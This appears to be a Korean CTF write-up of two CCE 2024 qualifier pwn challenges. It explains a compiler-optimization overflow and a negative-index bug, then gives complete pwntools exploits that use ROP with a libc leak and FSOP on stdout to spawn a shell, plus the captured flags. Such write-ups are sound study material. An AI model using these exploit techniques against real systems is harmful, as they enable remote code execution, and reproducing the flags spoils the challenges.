2025년도 cce 예선 전에 작년 문제를 풀어보려고 했는데, 마침 cce에서 현제 제공하고 있는 모의체험장에 있는 문제들이 작년 문제인 것 같아서 업솔빙하고 라업을 작성해보려고 한다.
모의체험장 링크: https://apollo2.cstec.kr/challenges
일단 검색해보면 라업이 몇 개 있는 거로 봐서 Untrusted Complier는 작년 예선 문제인 것 같은데 haha는 나오는 라업이 하나도 없어서 작년 문제가 맞는지 정확하게는 모르겠다. 그래도 Untrusted Compiler랑 동일하게 flag가 cce2024로 시작하는걸 보면 작년에 출제되었던 문제는 맞는 것 같다.
이 문제는 특이하게도 소스코드를 그냥 준다.
//gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
uint32_t random_list[10] = {0,};
uint64_t total_random = 0;
void banner()
{
printf(" __ _ _ \n");
printf(" _ _ _ __ ___ __ _ / _| ___ ___ ___ _ __ ___ _ __ (_) | ___ _ __ \n");
printf("| | | | '_ \\/ __|/ _` | |_ / _ \\ / __/ _ \\| '_ ` _ \\| '_ \\| | |/ _ \\ '__|\n");
printf("| |_| | | | \\__ \\ (_| | _| __/ | (_| (_) | | | | | | |_) | | | __/ | \n");
printf(" \\__,_|_| |_|___/\\__,_|_| \\___| \\___\\___/|_| |_| |_| .__/|_|_|\\___|_| \n");
printf(" |_| \n\n");
}
void init(){
srand(time(NULL));
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
banner();
printf("Start setting 10 randoms...\n");
for(int i = 0; i < 10; i++)
{
uint32_t random = rand();
random_list[i] = random;
total_random += random;
}
printf("done!\n\n");
printf("Guess the random value XD\n\n");
}
void flush()
{
int c;
while ((c = getchar()) != '\n' && c != EOF);
}
void guess()
{
uint16_t idx = 0;
uint32_t score_list[10] = {0,};
uint32_t input_list[10] = {0,};
uint64_t score_sum = 0;
while ((random_list[idx] < UINT32_MAX) && (idx < 10)) {
printf("input %d: ",idx);
scanf("%d", &input_list[idx]);
flush();
if(input_list[idx] == random_list[idx])
score_list[idx] = random_list[idx];
score_sum += score_list[idx];
idx++;
if(score_sum >= total_random){
return;
}
}
}
int main()
{
init();
guess();
}
그래서 소스코드를 한번 봐보면, 딱히 취약한 부분이 보이지 않는다.
그런데 맨위 주석처리된 명령어와 도커파일을 보면 위 소스코드를 다음 명령어로 컴파일한다는 사실을 알 수 있다.
gcc -o chall chall.c -no-pie -z relro -O2 -fno-stack-protector
즉, 최적화 옵션을 주고 컴파일하고 있다.
아마 컴파일 과정에서 최적화가 일어나면서 코드에 취약점이 발생하는 것일 것이다. 문제이름도 "Untrusted" Complier니까 꽤나 친절하다.
그러면 저 옵션을 주고 컴파일을 한 다음 IDA로 까보자.

최적화로 인해서 while문의 종료조건에 변화가 생긴것을 확인할 수 있다.
원래 while ((random_list[idx] < UINT32_MAX) && (idx < 10)) 라는 검증이 있어 idx가 10 이상이 되면 무조건 종료되는데, IDA로 디컴파일한 코드를 보면 idx에 대해서는 검증이 사라졌다.
while문의 종료조건은score_sum < total_random과 random_list[idx] == -1 뿐이므로 저 둘 중 하나에 해당되지 않는 이상 계속해서 idx를 증가시켜 스택에 존재하는 정수 배열에 값을 저장할 것이므로 ret까지도 원하는 값을 쓸 수 있을 것이다.
그렇다면 이 취약점을 이용해서 4바이트씩 값을 써 rop 체인을 스택에 쓰고 페이로드가 완성되었을 때 종료조건이 만족되도록해서 내가 입력해놓은 페이로드가 실행되게 하면 된다.
나는 이런 식으로 우선 got를 이용해 libc 주소를 leak한 뒤 위 함수로 다시 리턴하도록 만들었고, 그러면 또다시 rop를 할 수 있게 되므로 이때에 구한 libc base를 이용해 system함수를 실행시키는 형태로 익스했다. 종료 조건의 경우에는 약간의 노가다를 통해 직접 디버깅하면서 적절한 값을 찾아주어 rop 체인이 완성되고 나서 함수가 종료될 수 있도록 만들어주었다. 문제 풀때 머리쓰기 싫어서 이렇게 한거였는데 지금 생각해보니 그냥 머리를 쓰는게 더 효율적이었을 거 같다
최종 익스코드는 아래와 같다.
from pwn import *
context.log_level = "debug"
#p = process("./chall")
p = remote("43.202.156.51", 1337)
#p = remote("localhost", 1337)
libc = ELF("./libc.so.6")
poprdi = 0x0000000000401444
ret = 0x000000000040101a
rand_got =0x404038
puts_plt = 0x0000004010b0
guess = 0x00401370
system_offset = libc.symbols['system']
binsh_offset = 0x1d8678
def input_num(n):
p.sendlineafter("input ", str(n).encode())
for i in range(2):
input_num(0xffffffff)
for i in range(0x13):
input_num(i)
input_num(0xffffffff)
input_num(0xffffffff)
for i in range(24-0x13-2 ):
input_num(i)
input_num(poprdi)
input_num(0)
input_num(rand_got)
input_num(0)
input_num(puts_plt)
input_num(0)
input_num(guess)
input_num(0)
input_num(0x7fffffff)
p.recvuntil(b"34: ")
libc_base = u64(p.recv(6)+b"\x00\x00") - 0x815f0
log.info(hex(libc_base))
for i in range(2):
input_num(0xffffffff)
for i in range(0x13):
input_num(i)
input_num(0xffffffff)
input_num(0xffffffff)
for i in range(24-0x13-2 ):
input_num(i)
input_num(poprdi)
input_num(0)
input_num((libc_base + binsh_offset)&0xffffffff)
input_num((libc_base + binsh_offset)>>32)
input_num(ret)
input_num(0)
input_num((system_offset + libc_base)&0xffffffff)
pause()
input_num((system_offset + libc_base)>>32)
p.interactive()
#cce2024{660cefeb55c12e7f8d374609f8a33942227e7206ae4ff67a34eccaac234bb10df8b7b6d9f9523658ac7a00f4863db39093ad8919053511a2d5583dca9ce0c7894676}
이 문제는 바이너리만 주어져 있다.
디컴파일해보면 메인함수는 아래와 같다.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &idx);
if ( idx == 4 )
{
puts("BYE");
exit(0);
}
if ( idx > 4 )
{
LABEL_12:
puts("invaild input");
}
else
{
switch ( idx )
{
case 3:
view();
break;
case 1:
create();
break;
case 2:
edit();
break;
default:
goto LABEL_12;
}
}
}
}
일반적인 힙 문제랑 비슷한 구조인데, 특이한 점이 하나 있다면 free하는 함수가 없다는 것이다. free를 하지 않는다면 tcache나 bin에 청크가 들어갈 일이 없으니까 이를 통해 아마 힙 자체의 취약점을 이용한 문제는 아닐 것이라는 걸 추측해볼 수 있다.
다음으로 create함수를 살펴보자.
__int64 create()
{
int temp_index; // ebx
size_t v2; // rax
int idx; // [rsp+Ch] [rbp-24h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-18h]
canary = __readfsqword(0x28u);
printf("index: ");
if ( (unsigned int)__isoc99_scanf("%d", &idx) != 1 )
return 0LL;
if ( idx <= 9 )
{
if ( *((_QWORD *)¬es + idx) )
{
puts("used note!!");
return 0LL;
}
else
{
printf("size: ");
if ( (unsigned int)__isoc99_scanf("%zu", &size) == 1 )
{
if ( size <= 100 )
{
sizes[idx] = size;
temp_index = idx;
*((_QWORD *)¬es + temp_index) = calloc(size + 1, 1uLL);
if ( *((_QWORD *)¬es + idx) )
{
printf("data: ");
v2 = fread(*((void **)¬es + idx), 1uLL, size, stdin);
if ( v2 == size )
{
return 1LL;
}
else
{
perror("fread");
return 0LL;
}
}
else
{
perror("calloc");
return 0LL;
}
}
else
{
puts("big size..");
return 0LL;
}
}
else
{
return 0LL;
}
}
}
else
{
puts("out of bound!!");
return 0LL;
}
}
우선 idx, size, data를 입력받는데, idx는 9이하라는 검증이, size는 100이하라는 검증이 존재하고, data는 size값만큼 fread로 입력하도록 되어있다.
동적할당은 calloc을 이용하며, size+1의 크기를 할당한다.
위 코드에서 존재하는 취약점은 idx 검증이다. idx가 signed int 이기 때문에 음수가 되어도 검증을 통과한다.
이와 동일한 취약점이 view, edit모두에 존재한다.
따라서 할당한 힙 주소들을 저장하는 배열인 notes는 bss영역에 존재하기 때문에 그 앞에 있는 영역에 존재하는 주소값을 참조할 수 있다. 다만 그 앞의 영역에 값을 쓰거나, 읽을 수 있는 것이 아니라 그 앞의 영역에 써진 주소값을 참조해 값을 쓰거나 읽을 수 있는 것이라는 점에 주의해야 한다.
여기까지 분석하고 나니 아무래도 바로 앞쪽에 stdout이 존재하고, 거기에 libc에 존재하는 stdout 파일 구조체의 주소가 쓰여있다보니, 이 주소에 값을 쓰는 fsop 형태의 익스가 적합할 것이라는 생각이 들었다. 그러려면 우선 libc leak이 필요하다.
하지만 바로 앞 영역에 libc 주소를 바로 릭할 수 있는 주소값은 존재하지 않았다. 직접 디버깅해본 결과 stdout보다 앞쪽인 0x4008오프셋의 주소에 자기 자신의 주소가 쓰여진 부분이 존재하는 것을 발견했다. (0x???008이라는 주소에 0x???008이라는 주소가 쓰여있음)
따라서 이 부분을 이용해 libc 주소를 릭하기로 했다. 방법은 다음과 같다.
*((_QWORD *)¬es + idx)와 같은 조건을 통해서 해당 부분에 이미 값이 쓰여있는지를 확인하는데 일단 우리는 이미 값이 쓰여있는 곳에다 edit을 하는거니까 이건 신경안써도 된다. sizes[idx] >= size 조건을 통해서 내가 값을 쓸 idx를 기준으로 sizes 배열을 검증한다. 만약 여기에 쓰여있는 값보다 내가 입력한 size가 더 크면 바로 함수를 종료시켜 값을 쓸 수가 없다. 따라서 보통 상황이라면 0이 적혀있을 것이므로 여기에서 바로 리턴되는 것을 막기 위해 0x4008오프셋에 해당하는 idx를 기준으로 sizes배열의 해당 위치에 특정 값을 써줘야한다. 이 조건을 만족하는 것은 그리 어렵지 않다. create를 이용해 주솟값을 써주면 충분히 큰 값이 써지기 때문에 최대 6바이트정도의 write가 필요한 우리로서는 부족함이 없다. &size[-11] == ¬es[1] 이므로 edit을 수행하기 전 idx 1에 대해 create을 수행하면 된다.
이제 libc base를 구했으니 맨 처음에 생각했던 대로 stdout FILE 구조체의 주소에 특정 값을 써서 FSOP를 하면 된다.
이때도 아까와 같이 size값 검증을 신경써줘야 한다.
stdout의 주소가 적힌 위치는 notes[-8]인데, size[-8] == ¬es[4] 이므로 idx 4에 미리 create를 해놓으면 notes[-8]에 큰 size값을 edit할 수 있다.
최종 익스코드는 아래와 같다.
from pwn import *
#p = process("./haha")
p = remote("3.38.195.222", 5555)
context.log_level = "debug"
e = ELF("./haha")
libc = ELF("./libc.so.6")#e.libc
def create(idx, size, content):
p.sendlineafter(b">> ", b"1")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"size: ", str(size).encode())
p.sendafter(b"data: ", content)
def view(idx):
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"index: ", str(idx).encode())
def edit(idx, size, content):
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"size: ", str(size).encode())
p.send(content)
#1. libc leak===========
view(-11)
p.recvuntil(b"data: ")
pie_base = u64(p.recvline().strip()+b"\x00\x00")- 0x4008
log.info(hex(pie_base))
create(1, 16, b"A"*15)
edit(-11, 8, p64(pie_base + 0x4020))
view(-11)
p.recvuntil(b"data: ")
libc_base = u64(p.recvline().strip()+b"\x00\x00")- libc.symbols['_IO_2_1_stdout_']
log.info(hex(libc_base))
#2. FSOP =======================
libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
_IO_file_jumps = libc.symbols['_IO_file_jumps']
stdout = libc.symbols['_IO_2_1_stdout_']
log.info("stdout: " + hex(stdout))
FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
lock = libc.symbols['_IO_2_1_stdout_'] + 0x10, \
_IO_read_ptr = 0x0, \
_IO_write_base = 0x0, \
_wide_data = libc.symbols['_IO_2_1_stdout_'] - 0x10, \
_unused2 = p64(libc.symbols['system'])+ b"\x00"*4 + p64(libc.symbols['_IO_2_1_stdout_'] + 196 - 104), \
vtable = libc.symbols['_IO_wfile_jumps'] - 0x20, \
)
create(4, 16, b"a"*15)
edit(-8, len(FSOP), FSOP)
p.interactive()
#cce2024{17f41ea51ab0ddaea3abef26546f12a87eef049458de7b2d854ca43fca52855dbabd6d8e83e9743cc2ddb2ed744ed788f19a28dab5c2a478}